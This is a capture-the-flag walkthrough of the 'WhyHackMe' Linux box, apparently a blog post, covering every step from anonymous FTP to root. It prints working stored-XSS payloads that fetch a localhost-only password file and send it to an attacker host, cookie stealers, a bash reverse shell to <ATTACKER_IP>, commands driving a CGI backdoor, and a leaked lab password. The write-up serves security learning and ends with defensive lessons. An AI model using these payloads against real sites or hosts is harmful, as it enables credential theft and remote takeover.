Summary
WhyHackMe is an medium Linux box that chains a handful of low-friction bugs into root. Anonymous FTP leaks a hint pointing at a pass.txt file that's only reachable from localhost. The blog application on port 80 stores comments (including the username field) without sanitization and replays them to an admin bot, giving a blind stored XSS primitive. That primitive is used to make the admin's browser (which can reach 127.0.0.1) fetch the localhost-only credentials file and exfiltrate it to an attacker-controlled listener, yielding SSH creds for jack. A misconfigured sudo rule lets jack run iptables as root, which is abused to drop a firewall rule blocking an unusual high port (41312) that turns out to be a TLS-wrapped Apache vhost. A packet capture left on the box for "help" contains the plaintext session from before it was firewalled off, revealing a hidden CGI backdoor (5UP3r53Cr37.py) along with its symmetric encryption key/IV. Replaying that request with a command-execution payload gives code execution as www-data, who turns out to have blanket passwordless sudo, for an instant path to root.
Attack Chain
Anonymous FTP → hint file (localhost-only secret path)
↓
Stored/Blind XSS in blog username field → admin bot triggers it
↓
XSS payload: fetch() localhost-only pass.txt → exfil via attacker HTTP listener
↓
Leaked creds → SSH as jack
↓
sudo iptables (NOPASSWD) → flush firewall rules blocking port 41312
↓
/opt/capture.pcap analysis (tshark) → recovers CGI backdoor path + AES key/IV
↓
Replay request to encrypted CGI webshell → RCE as www-data
↓
www-data has sudo NOPASSWD: ALL → root
Recon
nmap -A -Pn <MACHINE_IP> -o nmap
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 318 Mar 14 2023 update.txt
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
|_http-title: Welcome!!
Anonymous FTP allowed, and there's a file sitting in the root, update.txt. Grabbed it:
ftp <MACHINE_IP> 21
Name (<MACHINE_IP>:kali): anonymous
Password:
230 Login successful.
ftp> get update.txt
226 Transfer complete.
ftp> ^D
cat update.txt
Hey I just removed the old user mike because that account was compromised and for any of you who wants the creds of new account visit 127.0.0.1/dir/pass.txt and don't worry this file is only accessible by localhost(127.0.0.1), so nobody else can view it except me or people with access to the common account.
- admin
Key hint: a credentials file exists at /dir/pass.txt on the web server, but it's IP-restricted to 127.0.0.1. Confirmed the path exists with gobuster:
gobuster dir -u http://<MACHINE_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
index.php (Status: 200) [Size: 563]
blog.php (Status: 200) [Size: 3102]
login.php (Status: 200) [Size: 523]
register.php (Status: 200) [Size: 643]
dir (Status: 403) [Size: 277]
assets (Status: 301) [Size: 313] [--> http://<MACHINE_IP>/assets/]
logout.php (Status: 302) [Size: 0] [--> login.php]
config.php (Status: 200) [Size: 0]
dir returning 403 (not 404) confirms the path exists and is being blocked at the web-server level, matching the note's claim.
Web App Enumeration
The site is a minimal PHP blog. Landing page links to /blog.php:
curl http://<MACHINE_IP>/
<h2> Welcome to my personal website. <h2>
<p> Please read my first blog at <a href="/blog.php">blog.php</a></p>
curl http://<MACHINE_IP>/blog.php/
Shows a blog post with an existing admin comment, and states you must be logged in to comment:
<h2>To comment you need to be logged in. To login please visit <a href='/login.php'>this</a> link.</h2><br><h2>All comments:</h2><br><h2>Name: admin<br>Comment: Hey people, I will be monitoring your comments so please be safe and civil.</h2>
That admin comment - "I will be monitoring your comments" - strongly implies an admin bot reviews new comments, which is exactly the trigger needed for a blind XSS.
Registered a test account and logged in:
curl -X POST http://<MACHINE_IP>/register.php -d 'username=test&password=test'
<p>Your account has been registered now you may login <a href='/login.php'>here</a></p>
curl -c cookies.txt -X POST http://<MACHINE_IP>/login.php -d 'username=test&password=test'
Logged in successfully.<p>You can now comment on blogs, to do so visit <a href='/blog.php'>blog.php</a></p>
Confirmed the comment field reflects input unescaped:
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<ScRiPt>alert(1)</sCriPt>'
<h2>Name: test<br>Comment: <script>alert(1)</script></h2>
Wait - that one got HTML-encoded. Tried a few bypass variants to check for a filter vs. straight encoding:
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<scr<script>ipt>alert(1)</scr</script>ipt>'
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<img src=x onerror=alert(1)>'
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=<svg onload=alert(1)>'
All came back HTML-encoded in the comment field too - so the comment field is actually sanitized. But testing the username field on registration told a different story:
curl -s -X POST http://<MACHINE_IP>/register.php -d 'username=<script>alert(1)</script>&password=test123'
curl -s -c cookies2.txt -X POST http://<MACHINE_IP>/login.php -d 'username=<script>alert(1)</script>&password=test123'
curl -s -b cookies2.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=hello'
<h2>Name: <script>alert(1)</script><br>Comment: hello</h2>
The username rendered as a live, unescaped <script> tag - no encoding at all. And unlike the comment field, the username is rendered site-wide next to every comment that account posts, giving a persistent injection point that fires every time anyone (including the review bot) loads the page.
Vulnerability: Blind Stored XSS (username field) → SSRF to localhost-restricted resource
Because the admin note explicitly said pass.txt is restricted to 127.0.0.1, and the admin's review bot presumably browses the page from the box itself, the plan was:
- Register an account whose username is a JS payload.
- Log in, post any comment (to make sure the poisoned username renders on the page the bot visits).
- The payload runs in the bot's browser context, which - being local to the server - can reach
127.0.0.1/dir/pass.txt, bypassing the IP restriction that blocks external attackers. - Exfiltrate the fetched contents to an attacker-controlled listener.
Attempt 1 - cookie stealer via document.location
curl -s -X POST http://<MACHINE_IP>/register.php -d 'username=<script>document.location="http://<ATTACKER_IP>:4444/?c="+document.cookie</script>&password=test123'
curl -s -c cookies3.txt -X POST http://<MACHINE_IP>/login.php -d 'username=<script>document.location="http://<ATTACKER_IP>:4444/?c="+document.cookie</script>&password=test123'
curl -s -b cookies3.txt -X POST http://<MACHINE_IP>/blog.php -d 'comment=hi'
Listener never caught anything:
nc -lnvp 4444
listening on [any] 4444 ...
^C
Attempt 2 - externally hosted <script src=...> payloads
cat > steal.js << 'EOF'
new Image().src = "http://<ATTACKER_IP>:4444/c?" + encodeURIComponent(document.cookie);
EOF
python3 -m http.server 8000
curl -s -X POST http://<MACHINE_IP>/register.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/steal.js></script>' --data-urlencode 'password=test123'
curl -s -c cookies5.txt -X POST http://<MACHINE_IP>/login.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/steal.js></script>' --data-urlencode 'password=test123'
curl -s -b cookies5.txt -X POST http://<MACHINE_IP>/blog.php --data-urlencode 'comment=hi'
This time the bot actually fetched it - confirmed in the Python HTTP server log:
<MACHINE_IP> - - [10/Aug/2026 06:11:02] "GET /steal.js HTTP/1.1" 200 -
<MACHINE_IP> - - [10/Aug/2026 06:12:02] "GET /steal.js HTTP/1.1" 200 -
<MACHINE_IP> - - [10/Aug/2026 06:13:02] "GET /steal.js HTTP/1.1" 200 -
Confirms the bot polls the page periodically (roughly once a minute) and executes injected JS with HeadlessChrome:
nc -lnvp 8000
listening on [any] 8000 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<MACHINE_IP>] 39740
GET /steal.js HTTP/1.1
Host: <ATTACKER_IP>:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/71.0.3542.0 Safari/537.36
Referer: http://127.0.0.1/blog.php
The Referer: http://127.0.0.1/blog.php confirms the bot loads the page from localhost - exactly the trust boundary the whole attack depends on. But the cookie-stealer payload wasn't the right data to grab; needed to go after pass.txt directly instead.
Attempt 3 - fetch the actual target file
cat > pass.js << 'EOF'
fetch("http://127.0.0.1/dir/pass.txt")
.then(r => r.text())
.then(t => new Image().src = "http://<ATTACKER_IP>:8000/c?" + encodeURIComponent(t));
EOF
curl -s -X POST http://<MACHINE_IP>/register.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/pass.js></script>' --data-urlencode 'password=pass999'
curl -s -c cookies7.txt -X POST http://<MACHINE_IP>/login.php --data-urlencode 'username=<script src=http://<ATTACKER_IP>:8000/pass.js></script>' --data-urlencode 'password=pass999'
curl -s -b cookies7.txt -X POST http://<MACHINE_IP>/blog.php --data-urlencode 'comment=hi'
The script got fetched but the exfil listener on port 8000 was busy serving the .js file itself, so the outbound Image().src request needed its own dedicated listener. Rather than juggling ports, switched to an inline payload (no external .js hosting needed) and a clean listener:
curl -s -X POST http://<MACHINE_IP>/register.php \
--data-urlencode 'username=<script>fetch("http://127.0.0.1/dir/pass.txt").then(r=>r.text()).then(t=>fetch("http://<ATTACKER_IP>:5555?q="+t,{mode:"no-cors"}))</script>' \
--data-urlencode 'password=pwn123'
curl -s -c cookie_new.txt -X POST http://<MACHINE_IP>/login.php \
--data-urlencode 'username=<script>fetch("http://127.0.0.1/dir/pass.txt").then(r=>r.text()).then(t=>fetch("http://<ATTACKER_IP>:5555?q="+t,{mode:"no-cors"}))</script>' \
--data-urlencode 'password=pwn123'
curl -s -b cookie_new.txt -X POST http://<MACHINE_IP>/blog.php --data-urlencode 'comment=hello'
python3 -m http.server 5555
<MACHINE_IP> - - [.../..:47:02] "GET /?q=jack:WhyIsMyPasswordSoStrongIDK HTTP/1.1" 200 -
<MACHINE_IP> - - [.../..:47:02] "GET /?q=jack%3AWhyIsMyPasswordSoStrongIDK%0A HTTP/1.1" 200 -
URL-decoded to confirm:
python3 -c "from urllib.parse import unquote; print(unquote('jack%3AWhyIsMyPasswordSoStrongIDK%0A'))"
jack:WhyIsMyPasswordSoStrongIDK
Cleanup: after getting the creds, deleted all the throwaway XSS test accounts' comments with a small loop so the box wasn't left full of junk:
cat > clean_up.sh << 'EOF'
#!/bin/bash
TARGET="http://<MACHINE_IP>"
delete_comments() {
local user="$1" pass="$2"
local jar=$(mktemp)
curl -s -c "$jar" -X POST "$TARGET/login.php" --data-urlencode "username=$user" --data-urlencode "password=$pass" > /dev/null
curl -s -b "$jar" -X POST "$TARGET/blog.php" -d "delete=Delete" > /dev/null
rm -f "$jar"
echo "Cleaned: $user"
}
delete_comments "test" "test"
# ... one call per throwaway account used above
EOF
bash clean_up.sh
Cleaned: test
Cleaned: <script>alert(1)</script>
Cleaned: <script>document.location="http://<ATTACKER_IP>:4444/?c=" document.cookie</script>
Cleaned: <script src=http://<ATTACKER_IP>:8000/steal.js></script>
...
curl -s http://<MACHINE_IP>/blog.php | grep -o 'Name: [^<]*'
Name: admin
Board's clean, only the original admin comment remains.
Initial Access - SSH as jack
ssh jack@<MACHINE_IP>
jack@<MACHINE_IP>'s password: WhyIsMyPasswordSoStrongIDK
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-159-generic x86_64)
whoami; id
jack
uid=1001(jack) gid=1001(jack) groups=1001(jack)
cat user.txt
-
Privilege Escalation Path - jack → www-data → root
Step 1: sudo iptables abuse
sudo -l
[sudo] password for jack:
Matching Defaults entries for jack on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User jack may run the following commands on ubuntu:
(ALL : ALL) /usr/sbin/iptables
Checked current rules - an explicit DROP on a high port stood out:
sudo /usr/sbin/iptables -L -n -v --line-numbers
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
1 92 5520 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:41312
2 15081 1708K ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0
3 227K 34M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 ctstate NEW,RELATED,ESTABLISHED
4 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
5 21 840 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
6 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 icmptype 8
7 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 icmptype 0
8 63 3700 DROP all -- * * 0.0.0.0/0 0.0.0.0/0
Chain OUTPUT (policy ACCEPT 15173 packets, 1713K bytes)
num pkts bytes target prot opt in out source destination
1 232K 104M ACCEPT all -- * eth0 0.0.0.0/0 0.0.0.0/0
iptables doesn't let you exfiltrate files directly, but it does let you rewrite firewall policy. Flushed the rules and opened everything up:
sudo /usr/sbin/iptables -F
sudo /usr/sbin/iptables -P INPUT ACCEPT
sudo /usr/sbin/iptables -P OUTPUT ACCEPT
sudo /usr/sbin/iptables -P FORWARD ACCEPT
Port 41312 was now reachable - it turned out to be a second, TLS-wrapped Apache vhost:
curl http://<MACHINE_IP>:41312/
Reason: You're speaking plain HTTP to an SSL-enabled server port.
curl -k https://<MACHINE_IP>:41312/
<title>403 Forbidden</title>
<address>Apache/2.4.41 (Ubuntu) Server at <MACHINE_IP> Port 41312</address>
Step 2: recovering the hidden webshell from a leftover pcap
A note in /opt/urgent.txt (root-owned, world-readable) described the situation:
cat /opt/urgent.txt
Hey guys, after the hack some files have been placed in /usr/lib/cgi-bin/ and when I try to remove them, they wont, even though I am root. Please go through the pcap file in /opt and help me fix the server. And I temporarily blocked the attackers access to the backdoor by using iptables rules. The cleanup of the server is still incomplete I need to start by deleting these files first.
/usr/lib/cgi-bin/ was root-protected:
ls -la /usr/lib/cgi-bin/
ls: cannot open directory '/usr/lib/cgi-bin/': Permission denied
But /opt/capture.pcap was readable. Pulled it over with a quick Python web server + wget:
# on target:
cd /opt && python3 -m http.server 8000
# on attacker box:
wget http://<MACHINE_IP>:8000/capture.pcap
2026-08-10 06:55:29 (334 KB/s) - 'capture.pcap' saved [27247/27247]
Checked for the TLS private key so the captured TLS session on port 41312 could be decrypted:
find / -type f -name '*.key' 2>/dev/null
/etc/apache2/certs/apache.key
# on target:
cd /etc/apache2/certs/ && python3 -m http.server 8000
# on attacker box:
wget http://<MACHINE_IP>:8000/apache.key
2026-08-10 07:00:57 (413 MB/s) - 'apache.key' saved [3272/3272]
Loaded the key into tshark and inspected traffic to the unusual port:
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.dstport 2>/dev/null | sort -u
10.133.71.33 10.13.64.69 41312
10.13.64.69 10.133.71.33 39802
10.13.64.69 10.133.71.33 43316
...
tshark -r capture.pcap -Y "tls" 2>/dev/null | head -20
4 0.002449 10.133.71.33 → 10.13.64.69 TLSv1.2 583 Client Hello
6 0.003286 10.13.64.69 → 10.133.71.33 TLSv1.2 1650 Server Hello, Certificate, Server Hello Done
...
25 5.006106 10.133.71.33 → 10.13.64.69 HTTP 567 GET / HTTP/1.1
27 5.007024 10.13.64.69 → 10.133.71.33 HTTP 615 HTTP/1.1 403 Forbidden (text/html)
48 22.158876 10.133.71.33 → 10.13.64.69 HTTP 583 GET /cgi-bin/5UP3r53Cr37.py HTTP/1.1
Decrypted the HTTP layer using the recovered key:
tshark -r capture.pcap -o "tls.keys_list:<MACHINE_IP>,41312,http,apache.key" \
-Y "http" -T fields -e http.request.uri -e http.response.code 2>/dev/null
tshark -r capture.pcap -Y "http" -T fields \
-e http.request.method \
-e http.request.uri \
-e http.request.uri.query \
-e http.file_data
GET /cgi-bin/5UP3r53Cr37.py
GET /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id
GET /cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=ls%20-al
Hex-decoding the http.file_data for the cmd=id request gives:
uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
This reveals a CGI backdoor at /cgi-bin/5UP3r53Cr37.py that takes cmd= plus a static key/iv pair for its symmetric-encryption scheme.
Step 3: RCE via the recovered webshell
With the port now open (iptables flush) and the key/IV in hand, the backdoor was directly usable:
curl -sk "https://<MACHINE_IP>:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=ls"
<h2>5UP3r53Cr37.py
<h2>
curl -sk "https://<MACHINE_IP>:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&cmd=id"
<h2>uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
<h2>
Confirmed and escalated to a full reverse shell via the same parameters:
curl -sk "https://<MACHINE_IP>:41312/cgi-bin/5UP3r53Cr37.py?key=48pfPHUrj4pmHzrC&iv=VZukhsCo8TlTXORN&" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4443 0>&1'"
Caught with penelope on the attacker box, auto-upgraded to a PTY:
penelope -p 4443 listen
[+] Listening for reverse shells on 0.0.0.0:4443
[+] [New Reverse Shell] => ubuntu <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
whoami; id; groups
www-data
uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)
h4ck3d
Step 4: trivial root via NOPASSWD sudo
sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User www-data may run the following commands on ubuntu:
(ALL : ALL) NOPASSWD: ALL
sudo su
whoami
root
cd /root && ls
bot.py root.txt snap ssh.sh
cat root.txt
-
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Anonymous FTP with informational hint file |
vsftpd (port 21) |
Discloses existence/path of a "protected" secrets file |
| 2 | Unsanitized username field (comment field itself was actually encoded) |
register.php → rendered in blog.php
|
Blind stored XSS against an internal admin review bot |
| 3 | Server-side trust boundary based on 127.0.0.1 source IP |
/dir/pass.txt access rule |
Bypassed via SSRF-style XSS - bot's browser is localhost |
| 4 | Overly broad sudo grant on iptables
|
jack's sudoers entry |
Firewall policy fully attacker-controlled → port unblocking |
| 5 | Sensitive pcap + TLS private key left world/owner-readable |
/opt/capture.pcap, /etc/apache2/certs/apache.key
|
Enables full decryption of prior attacker/backdoor traffic |
| 6 | Undocumented CGI backdoor with static (recoverable) key/IV | /usr/lib/cgi-bin/5UP3r53Cr37.py |
Direct unauthenticated RCE as www-data once reachable |
| 7 | Blanket NOPASSWD: ALL sudo for www-data
|
sudoers | Instant root from a low-privilege web user |
Lessons / Takeaways
-
"Localhost-only" is not a trust boundary if anything with network access can render your page for you. An XSS that executes in an admin/bot context effectively runs as that host - including its
127.0.0.1view of the world. Treat SSRF-via-XSS as first-class when a review bot exists. - Test every input field independently. The comment field here was properly encoded, but the username field (rendered in the same location) was not - a filter on one field doesn't imply coverage everywhere the same data model touches output.
-
Never leave forensic artifacts (pcaps, keys) lying around during "cleanup." The
/opt/capture.pcap+apache.keycombo handed over the entire backdoor mechanism the admin was presumably trying to remove. -
sudogrants for network-control binaries (iptables,tcpdump,nmap, etc.) are frequently as good as full root in situations where they can be used to expose otherwise-firewalled attack surface.
Top comments (0)